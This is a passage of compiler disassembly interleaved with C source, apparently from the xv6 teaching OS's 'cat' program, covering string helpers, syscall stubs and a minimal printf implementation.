%esi,%edi e6: 7f c8 jg b0 <main+0x20> exit(); } cat(fd); close(fd); } exit(); e8: e8 6b 02 00 00 call 358 <exit> ed: 8d 76 00 lea 0x0(%esi),%esi exit(); } for(i = 1; i < argc; i++){ if((fd = open(argv[i], 0)) < 0){ printf(1, "cat: cannot open %s\n", argv[i]); f0: 8b 03 mov (%ebx),%eax f2: c7 44 24 04 39 08 00 movl $0x839,0x4(%esp) f9: 00 fa: c7 04 24 01 00 00 00 movl $0x1,(%esp) 101: 89 44 24 08 mov %eax,0x8(%esp) 105: e8 96 03 00 00 call 4a0 <printf> exit(); 10a: e8 49 02 00 00 call 358 <exit> 10f: 90 nop main(int argc, char *argv[]) { int fd, i; if(argc <= 1){ cat(0); 110: c7 04 24 00 00 00 00 movl $0x0,(%esp) 117: e8 e4 fe ff ff call 0 <cat> exit(); 11c: e8 37 02 00 00 call 358 <exit> 121: 90 nop 122: 90 nop 123: 90 nop 124: 90 nop 125: 90 nop 126: 90 nop 127: 90 nop 128: 90 nop 129: 90 nop 12a: 90 nop 12b: 90 nop 12c: 90 nop 12d: 90 nop 12e: 90 nop 12f: 90 nop 00000130 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 130: 55 push %ebp 131: 31 d2 xor %edx,%edx 133: 89 e5 mov %esp,%ebp 135: 8b 45 08 mov 0x8(%ebp),%eax 138: 53 push %ebx 139: 8b 5d 0c mov 0xc(%ebp),%ebx 13c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi char *os; os = s; while((*s++ = *t++) != 0) 140: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 144: 88 0c 10 mov %cl,(%eax,%edx,1) 147: 83 c2 01 add $0x1,%edx 14a: 84 c9 test %cl,%cl 14c: 75 f2 jne 140 <strcpy+0x10> ; return os; } 14e: 5b pop %ebx 14f: 5d pop %ebp 150: c3 ret 151: eb 0d jmp 160 <strcmp> 153: 90 nop 154: 90 nop 155: 90 nop 156: 90 nop 157: 90 nop 158: 90 nop 159: 90 nop 15a: 90 nop 15b: 90 nop 15c: 90 nop 15d: 90 nop 15e: 90 nop 15f: 90 nop 00000160 <strcmp>: int strcmp(const char *p, const char *q) { 160: 55 push %ebp 161: 89 e5 mov %esp,%ebp 163: 53 push %ebx 164: 8b 4d 08 mov 0x8(%ebp),%ecx 167: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 16a: 0f b6 01 movzbl (%ecx),%eax 16d: 84 c0 test %al,%al 16f: 75 14 jne 185 <strcmp+0x25> 171: eb 25 jmp 198 <strcmp+0x38> 173: 90 nop 174: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p++, q++; 178: 83 c1 01 add $0x1,%ecx 17b: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 17e: 0f b6 01 movzbl (%ecx),%eax 181: 84 c0 test %al,%al 183: 74 13 je 198 <strcmp+0x38> 185: 0f b6 1a movzbl (%edx),%ebx 188: 38 d8 cmp %bl,%al 18a: 74 ec je 178 <strcmp+0x18> 18c: 0f b6 db movzbl %bl,%ebx 18f: 0f b6 c0 movzbl %al,%eax 192: 29 d8 sub %ebx,%eax p++, q++; return (uchar)*p - (uchar)*q; } 194: 5b pop %ebx 195: 5d pop %ebp 196: c3 ret 197: 90 nop } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 198: 0f b6 1a movzbl (%edx),%ebx 19b: 31 c0 xor %eax,%eax 19d: 0f b6 db movzbl %bl,%ebx 1a0: 29 d8 sub %ebx,%eax p++, q++; return (uchar)*p - (uchar)*q; } 1a2: 5b pop %ebx 1a3: 5d pop %ebp 1a4: c3 ret 1a5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 1a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001b0 <strlen>: uint strlen(const char *s) { 1b0: 55 push %ebp int n; for(n = 0; s[n]; n++) 1b1: 31 d2 xor %edx,%edx return (uchar)*p - (uchar)*q; } uint strlen(const char *s) { 1b3: 89 e5 mov %esp,%ebp int n; for(n = 0; s[n]; n++) 1b5: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; } uint strlen(const char *s) { 1b7: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1ba: 80 39 00 cmpb $0x0,(%ecx) 1bd: 74 0c je 1cb <strlen+0x1b> 1bf: 90 nop 1c0: 83 c2 01 add $0x1,%edx 1c3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1c7: 89 d0 mov %edx,%eax 1c9: 75 f5 jne 1c0 <strlen+0x10> ; return n; } 1cb: 5d pop %ebp 1cc: c3 ret 1cd: 8d 76 00 lea 0x0(%esi),%esi 000001d0 <memset>: void* memset(void *dst, int c, uint n) { 1d0: 55 push %ebp 1d1: 89 e5 mov %esp,%ebp 1d3: 8b 55 08 mov 0x8(%ebp),%edx 1d6: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1d7: 8b 4d 10 mov 0x10(%ebp),%ecx 1da: 8b 45 0c mov 0xc(%ebp),%eax 1dd: 89 d7 mov %edx,%edi 1df: fc cld 1e0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1e2: 89 d0 mov %edx,%eax 1e4: 5f pop %edi 1e5: 5d pop %ebp 1e6: c3 ret 1e7: 89 f6 mov %esi,%esi 1e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001f0 <strchr>: char* strchr(const char *s, char c) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 8b 45 08 mov 0x8(%ebp),%eax 1f6: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 1fa: 0f b6 10 movzbl (%eax),%edx 1fd: 84 d2 test %dl,%dl 1ff: 75 11 jne 212 <strchr+0x22> 201: eb 15 jmp 218 <strchr+0x28> 203: 90 nop 204: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 208: 83 c0 01 add $0x1,%eax 20b: 0f b6 10 movzbl (%eax),%edx 20e: 84 d2 test %dl,%dl 210: 74 06 je 218 <strchr+0x28> if(*s == c) 212: 38 ca cmp %cl,%dl 214: 75 f2 jne 208 <strchr+0x18> return (char*)s; return 0; } 216: 5d pop %ebp 217: c3 ret } char* strchr(const char *s, char c) { for(; *s; s++) 218: 31 c0 xor %eax,%eax if(*s == c) return (char*)s; return 0; } 21a: 5d pop %ebp 21b: 90 nop 21c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 220: c3 ret 221: eb 0d jmp 230 <atoi> 223: 90 nop 224: 90 nop 225: 90 nop 226: 90 nop 227: 90 nop 228: 90 nop 229: 90 nop 22a: 90 nop 22b: 90 nop 22c: 90 nop 22d: 90 nop 22e: 90 nop 22f: 90 nop 00000230 <atoi>: return r; } int atoi(const char *s) { 230: 55 push %ebp int n; n = 0; while('0' <= *s && *s <= '9') 231: 31 c0 xor %eax,%eax return r; } int atoi(const char *s) { 233: 89 e5 mov %esp,%ebp 235: 8b 4d 08 mov 0x8(%ebp),%ecx 238: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 239: 0f b6 11 movzbl (%ecx),%edx 23c: 8d 5a d0 lea -0x30(%edx),%ebx 23f: 80 fb 09 cmp $0x9,%bl 242: 77 1c ja 260 <atoi+0x30> 244: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi n = n*10 + *s++ - '0'; 248: 0f be d2 movsbl %dl,%edx 24b: 83 c1 01 add $0x1,%ecx 24e: 8d 04 80 lea (%eax,%eax,4),%eax 251: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 255: 0f b6 11 movzbl (%ecx),%edx 258: 8d 5a d0 lea -0x30(%edx),%ebx 25b: 80 fb 09 cmp $0x9,%bl 25e: 76 e8 jbe 248 <atoi+0x18> n = n*10 + *s++ - '0'; return n; } 260: 5b pop %ebx 261: 5d pop %ebp 262: c3 ret 263: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 269: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000270 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 270: 55 push %ebp 271: 89 e5 mov %esp,%ebp 273: 56 push %esi 274: 8b 45 08 mov 0x8(%ebp),%eax 277: 53 push %ebx 278: 8b 5d 10 mov 0x10(%ebp),%ebx 27b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 27e: 85 db test %ebx,%ebx 280: 7e 14 jle 296 <memmove+0x26> n = n*10 + *s++ - '0'; return n; } void* memmove(void *vdst, const void *vsrc, int n) 282: 31 d2 xor %edx,%edx 284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi const char *src; dst = vdst; src = vsrc; while(n-- > 0) *dst++ = *src++; 288: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 28c: 88 0c 10 mov %cl,(%eax,%edx,1) 28f: 83 c2 01 add $0x1,%edx char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 292: 39 da cmp %ebx,%edx 294: 75 f2 jne 288 <memmove+0x18> *dst++ = *src++; return vdst; } 296: 5b pop %ebx 297: 5e pop %esi 298: 5d pop %ebp 299: c3 ret 29a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 000002a0 <stat>: return buf; } int stat(const char *n, struct stat *st) { 2a0: 55 push %ebp 2a1: 89 e5 mov %esp,%ebp 2a3: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 2a6: 8b 45 08 mov 0x8(%ebp),%eax return buf; } int stat(const char *n, struct stat *st) { 2a9: 89 5d f8 mov %ebx,-0x8(%ebp) 2ac: 89 75 fc mov %esi,-0x4(%ebp) int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) 2af: be ff ff ff ff mov $0xffffffff,%esi stat(const char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 2b4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 2bb: 00 2bc: 89 04 24 mov %eax,(%esp) 2bf: e8 d4 00 00 00 call 398 <open> if(fd < 0) 2c4: 85 c0 test %eax,%eax stat(const char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 2c6: 89 c3 mov %eax,%ebx if(fd < 0) 2c8: 78 19 js 2e3 <stat+0x43> return -1; r = fstat(fd, st); 2ca: 8b 45 0c mov 0xc(%ebp),%eax 2cd: 89 1c 24 mov %ebx,(%esp) 2d0: 89 44 24 04 mov %eax,0x4(%esp) 2d4: e8 d7 00 00 00 call 3b0 <fstat> close(fd); 2d9: 89 1c 24 mov %ebx,(%esp) int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 2dc: 89 c6 mov %eax,%esi close(fd); 2de: e8 9d 00 00 00 call 380 <close> return r; } 2e3: 89 f0 mov %esi,%eax 2e5: 8b 5d f8 mov -0x8(%ebp),%ebx 2e8: 8b 75 fc mov -0x4(%ebp),%esi 2eb: 89 ec mov %ebp,%esp 2ed: 5d pop %ebp 2ee: c3 ret 2ef: 90 nop 000002f0 <gets>: return 0; } char* gets(char *buf, int max) { 2f0: 55 push %ebp 2f1: 89 e5 mov %esp,%ebp 2f3: 57 push %edi 2f4: 56 push %esi 2f5: 31 f6 xor %esi,%esi 2f7: 53 push %ebx 2f8: 83 ec 2c sub $0x2c,%esp 2fb: 8b 7d 08 mov 0x8(%ebp),%edi int i, cc; char c; for(i=0; i+1 < max; ){ 2fe: eb 06 jmp 306 <gets+0x16> cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') 300: 3c 0a cmp $0xa,%al 302: 74 39 je 33d <gets+0x4d> 304: 89 de mov %ebx,%esi gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 306: 8d 5e 01 lea 0x1(%esi),%ebx 309: 3b 5d 0c cmp 0xc(%ebp),%ebx 30c: 7d 31 jge 33f <gets+0x4f> cc = read(0, &c, 1); 30e: 8d 45 e7 lea -0x19(%ebp),%eax 311: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 318: 00 319: 89 44 24 04 mov %eax,0x4(%esp) 31d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 324: e8 47 00 00 00 call 370 <read> if(cc < 1) 329: 85 c0 test %eax,%eax 32b: 7e 12 jle 33f <gets+0x4f> break; buf[i++] = c; 32d: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 331: 88 44 1f ff mov %al,-0x1(%edi,%ebx,1) if(c == '\n' || c == '\r') 335: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 339: 3c 0d cmp $0xd,%al 33b: 75 c3 jne 300 <gets+0x10> 33d: 89 de mov %ebx,%esi break; } buf[i] = '\0'; 33f: c6 04 37 00 movb $0x0,(%edi,%esi,1) return buf; } 343: 89 f8 mov %edi,%eax 345: 83 c4 2c add $0x2c,%esp 348: 5b pop %ebx 349: 5e pop %esi 34a: 5f pop %edi 34b: 5d pop %ebp 34c: c3 ret 34d: 90 nop 34e: 90 nop 34f: 90 nop 00000350 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 350: b8 01 00 00 00 mov $0x1,%eax 355: cd 40 int $0x40 357: c3 ret 00000358 <exit>: SYSCALL(exit) 358: b8 02 00 00 00 mov $0x2,%eax 35d: cd 40 int $0x40 35f: c3 ret 00000360 <wait>: SYSCALL(wait) 360: b8 03 00 00 00 mov $0x3,%eax 365: cd 40 int $0x40 367: c3 ret 00000368 <pipe>: SYSCALL(pipe) 368: b8 04 00 00 00 mov $0x4,%eax 36d: cd 40 int $0x40 36f: c3 ret 00000370 <read>: SYSCALL(read) 370: b8 05 00 00 00 mov $0x5,%eax 375: cd 40 int $0x40 377: c3 ret 00000378 <write>: SYSCALL(write) 378: b8 10 00 00 00 mov $0x10,%eax 37d: cd 40 int $0x40 37f: c3 ret 00000380 <close>: SYSCALL(close) 380: b8 15 00 00 00 mov $0x15,%eax 385: cd 40 int $0x40 387: c3 ret 00000388 <kill>: SYSCALL(kill) 388: b8 06 00 00 00 mov $0x6,%eax 38d: cd 40 int $0x40 38f: c3 ret 00000390 <exec>: SYSCALL(exec) 390: b8 07 00 00 00 mov $0x7,%eax 395: cd 40 int $0x40 397: c3 ret 00000398 <open>: SYSCALL(open) 398: b8 0f 00 00 00 mov $0xf,%eax 39d: cd 40 int $0x40 39f: c3 ret 000003a0 <mknod>: SYSCALL(mknod) 3a0: b8 11 00 00 00 mov $0x11,%eax 3a5: cd 40 int $0x40 3a7: c3 ret 000003a8 <unlink>: SYSCALL(unlink) 3a8: b8 12 00 00 00 mov $0x12,%eax 3ad: cd 40 int $0x40 3af: c3 ret 000003b0 <fstat>: SYSCALL(fstat) 3b0: b8 08 00 00 00 mov $0x8,%eax 3b5: cd 40 int $0x40 3b7: c3 ret 000003b8 <link>: SYSCALL(link) 3b8: b8 13 00 00 00 mov $0x13,%eax 3bd: cd 40 int $0x40 3bf: c3 ret 000003c0 <mkdir>: SYSCALL(mkdir) 3c0: b8 14 00 00 00 mov $0x14,%eax 3c5: cd 40 int $0x40 3c7: c3 ret 000003c8 <chdir>: SYSCALL(chdir) 3c8: b8 09 00 00 00 mov $0x9,%eax 3cd: cd 40 int $0x40 3cf: c3 ret 000003d0 <dup>: SYSCALL(dup) 3d0: b8 0a 00 00 00 mov $0xa,%eax 3d5: cd 40 int $0x40 3d7: c3 ret 000003d8 <getpid>: SYSCALL(getpid) 3d8: b8 0b 00 00 00 mov $0xb,%eax 3dd: cd 40 int $0x40 3df: c3 ret 000003e0 <sbrk>: SYSCALL(sbrk) 3e0: b8 0c 00 00 00 mov $0xc,%eax 3e5: cd 40 int $0x40 3e7: c3 ret 000003e8 <sleep>: SYSCALL(sleep) 3e8: b8 0d 00 00 00 mov $0xd,%eax 3ed: cd 40 int $0x40 3ef: c3 ret 000003f0 <uptime>: SYSCALL(uptime) 3f0: b8 0e 00 00 00 mov $0xe,%eax 3f5: cd 40 int $0x40 3f7: c3 ret 3f8: 90 nop 3f9: 90 nop 3fa: 90 nop 3fb: 90 nop 3fc: 90 nop 3fd: 90 nop 3fe: 90 nop 3ff: 90 nop 00000400 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 400: 55 push %ebp 401: 89 e5 mov %esp,%ebp 403: 57 push %edi 404: 89 cf mov %ecx,%edi 406: 56 push %esi 407: 89 c6 mov %eax,%esi 409: 53 push %ebx 40a: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 40d: 8b 4d 08 mov 0x8(%ebp),%ecx 410: 85 c9 test %ecx,%ecx 412: 74 04 je 418 <printint+0x18> 414: 85 d2 test %edx,%edx 416: 78 70 js 488 <printint+0x88> neg = 1; x = -xx; } else { x = xx; 418: 89 d0 mov %edx,%eax 41a: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 421: 31 c9 xor %ecx,%ecx 423: 8d 5d d7 lea -0x29(%ebp),%ebx 426: 66 90 xchg %ax,%ax } i = 0; do{ buf[i++] = digits[x % base]; 428: 31 d2 xor %edx,%edx 42a: f7 f7 div %edi 42c: 0f b6 92 55 08 00 00 movzbl 0x855(%edx),%edx 433: 88 14 0b mov %dl,(%ebx,%ecx,1) 436: 83 c1 01 add $0x1,%ecx }while((x /= base) != 0); 439: 85 c0 test %eax,%eax 43b: 75 eb jne 428 <printint+0x28> if(neg) 43d: 8b 45 c4 mov -0x3c(%ebp),%eax 440: 85 c0 test %eax,%eax 442: 74 08 je 44c <printint+0x4c> buf[i++] = '-'; 444: c6 44 0d d7 2d movb $0x2d,-0x29(%ebp,%ecx,1) 449: 83 c1 01 add $0x1,%ecx while(--i >= 0) 44c: 8d 79 ff lea -0x1(%ecx),%edi 44f: 01 fb add %edi,%ebx 451: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 458: 0f b6 03 movzbl (%ebx),%eax 45b: 83 ef 01 sub $0x1,%edi 45e: 83 eb 01 sub $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 461: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 468: 00 469: 89 34 24 mov %esi,(%esp) buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 46c: 88 45 e7 mov %al,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 46f: 8d 45 e7 lea -0x19(%ebp),%eax 472: 89 44 24 04 mov %eax,0x4(%esp) 476: e8 fd fe ff ff call 378 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 47b: 83 ff ff cmp $0xffffffff,%edi 47e: 75 d8 jne 458 <printint+0x58> putc(fd, buf[i]); } 480: 83 c4 4c add $0x4c,%esp 483: 5b pop %ebx 484: 5e pop %esi 485: 5f pop %edi 486: 5d pop %ebp 487: c3 ret uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 488: 89 d0 mov %edx,%eax 48a: f7 d8 neg %eax 48c: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 493: eb 8c jmp 421 <printint+0x21> 495: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000004a0 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 4a0: 55 push %ebp 4a1: 89 e5 mov %esp,%ebp 4a3: 57 push %edi 4a4: 56 push %esi 4a5: 53 push %ebx 4a6: 83 ec 3c sub $0x3c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4a9: 8b 45 0c mov 0xc(%ebp),%eax 4ac: 0f b6 10 movzbl (%eax),%edx 4af: 84 d2 test %dl,%dl 4b1: 0f 84 c9 00 00 00 je 580 <printf+0xe0> char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 4b7: 8d 4d 10 lea 0x10(%ebp),%ecx 4ba: 31 ff xor %edi,%edi 4bc: 89 4d d4 mov %ecx,-0x2c(%ebp) 4bf: 31 db xor %ebx,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4c1: 8d 75 e7 lea -0x19(%ebp),%esi 4c4: eb 1e jmp 4e4 <printf+0x44> 4c6: 66 90 xchg %ax,%ax state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 4c8: 83 fa 25 cmp $0x25,%edx 4cb: 0f 85 b7 00 00 00 jne 588 <printf+0xe8> 4d1: 66 bf 25 00 mov $0x25,%di int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4d5: 83 c3 01 add $0x1,%ebx 4d8: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx 4dc: 84 d2 test %dl,%dl 4de: 0f 84 9c 00 00 00 je 580 <printf+0xe0> c = fmt[i] & 0xff; if(state == 0){ 4e4: 85 ff test %edi,%edi uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 4e6: 0f b6 d2 movzbl %dl,%edx if(state == 0){ 4e9: 74 dd je 4c8 <printf+0x28> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 4eb: 83 ff 25 cmp $0x25,%edi 4ee: 75 e5 jne 4d5 <printf+0x35> if(c == 'd'){ 4f0: 83 fa 64 cmp $0x64,%edx 4f3: 0f 84 47 01 00 00 je 640 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 4f9: 83 fa 70 cmp $0x70,%edx 4fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 500: 0f 84 aa 00 00 00 je 5b0 <printf+0x110> 506: 83 fa 78 cmp $0x78,%edx 509: 0f 84 a1 00 00 00 je 5b0 <printf+0x110> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 50f: 83 fa 73 cmp $0x73,%edx 512: 0f 84 c0 00 00 00 je 5d8 <printf+0x138> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 518: 83 fa 63 cmp $0x63,%edx 51b: 90 nop 51c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 520: 0f 84 42 01 00 00 je 668 <printf+0x1c8> putc(fd, *ap); ap++; } else if(c == '%'){ 526: 83 fa 25 cmp $0x25,%edx 529: 0f 84 01 01 00 00 je 630 <printf+0x190> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 52f: 8b 4d 08 mov 0x8(%ebp),%ecx 532: 89 55 cc mov %edx,-0x34(%ebp) 535: c6 45 e7 25 movb $0x25,-0x19(%ebp) 539: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 540: 00 541: 89 74 24 04 mov %esi,0x4(%esp) 545: 89 0c 24 mov %ecx,(%esp) 548: e8 2b fe ff ff call 378 <write> 54d: 8b 55 cc mov -0x34(%ebp),%edx 550: 88 55 e7 mov %dl,-0x19(%ebp) 553: 8b 45 08 mov 0x8(%ebp),%eax int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 556: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 559: 31 ff xor %edi,%edi 55b: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 562: 00 563: 89 74 24 04 mov %esi,0x4(%esp) 567: 89 04 24 mov %eax,(%esp) 56a: e8 09 fe ff ff call 378 <write> 56f: 8b 45 0c mov 0xc(%ebp),%eax int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 572: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx 576: 84 d2 test %dl,%dl 578: 0f 85 66 ff ff ff jne 4e4 <printf+0x44> 57e: 66 90 xchg %ax,%ax putc(fd, c); } state = 0; } } } 580: 83 c4 3c add $0x3c,%esp 583: 5b pop %ebx 584: 5e pop %esi 585: 5f pop %edi 586: 5d pop %ebp 587: c3 ret #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 588: 8b 45 08 mov 0x8(%ebp),%eax state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 58b: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 58e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 595: 00 596: 89 74 24 04 mov %esi,0x4(%esp) 59a: 89 04 24 mov %eax,(%esp) 59d: e8 d6 fd ff ff call 378 <write> 5a2: 8b 45 0c mov 0xc(%ebp),%eax 5a5: e9 2b ff ff ff jmp 4d5 <printf+0x35> 5aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 5b0: 8b 45 d4 mov -0x2c(%ebp),%eax 5b3: b9 10 00 00 00 mov $0x10,%ecx ap++; 5b8: 31 ff xor %edi,%edi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 5ba: c7 04 24 00 00 00 00 movl $0x0,(%esp) 5c1: 8b 10 mov (%eax),%edx 5c3: 8b 45 08 mov 0x8(%ebp),%eax 5c6: e8 35 fe ff ff call 400 <printint> 5cb: 8b 45 0c mov 0xc(%ebp),%eax ap++; 5ce: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5d2: e9 fe fe ff ff jmp 4d5 <printf+0x35> 5d7: 90 nop } else if(c == 's'){ s = (char*)*ap; 5d8: 8b 55 d4 mov -0x2c(%ebp),%edx ap++; if(s == 0) 5db: b9 4e 08 00 00 mov $0x84e,%ecx ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ s = (char*)*ap; 5e0: 8b 3a mov (%edx),%edi ap++; 5e2: 83 c2 04 add $0x4,%edx 5e5: 89 55 d4 mov %edx,-0x2c(%ebp) if(s == 0) 5e8: 85 ff test %edi,%edi 5ea: 0f 44 f9 cmove %ecx,%edi s = "(null)"; while(*s != 0){ 5ed: 0f b6 17 movzbl (%edi),%edx 5f0: 84 d2 test %dl,%dl 5f2: 74 33 je 627 <printf+0x187> 5f4: 89 5d d0 mov %ebx,-0x30(%ebp) 5f7: 8b 5d 08 mov 0x8(%ebp),%ebx 5fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi putc(fd, *s); s++; 600: 83 c7 01 add $0x1,%edi } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 603: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 606: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 60d: 00 60e: 89 74 24 04 mov %esi,0x4(%esp) 612: 89 1c 24 mov %ebx,(%esp) 615: e8 5e fd ff ff call 378 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 61a: 0f b6 17 movzbl (%edi),%edx 61d: 84 d2 test %dl,%dl 61f: 75 df jne 600 <printf+0x160> 621: 8b 5d d0 mov -0x30(%ebp),%ebx 624: 8b 45 0c mov 0xc(%ebp),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 627: 31 ff xor %edi,%edi 629: e9 a7 fe ff ff jmp 4d5 <printf+0x35> 62e: 66 90 xchg %ax,%ax s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; } else if(c == '%'){ 630: c6 45 e7 25 movb $0x25,-0x19(%ebp) 634: e9 1a ff ff ff jmp 553 <printf+0xb3> 639: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 640: 8b 45 d4 mov -0x2c(%ebp),%eax 643: b9 0a 00 00 00 mov $0xa,%ecx ap++; 648: 66 31 ff xor %di,%di } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 64b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 652: 8b 10 mov (%eax),%edx 654: 8b 45 08 mov 0x8(%ebp),%eax 657: e8 a4 fd ff ff call 400 <printint> 65c: 8b 45 0c mov 0xc(%ebp),%eax ap++; 65f: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 663: e9 6d fe ff ff jmp 4d5 <printf+0x35> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 668: 8b 55 d4 mov -0x2c(%ebp),%edx putc(fd, *ap); ap++; 66b: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 66d: 8b 4d 08 mov 0x8(%ebp),%ecx s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 670: 8b 02 mov (%edx),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 672: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 679: 00 67a: 89 74 24 04 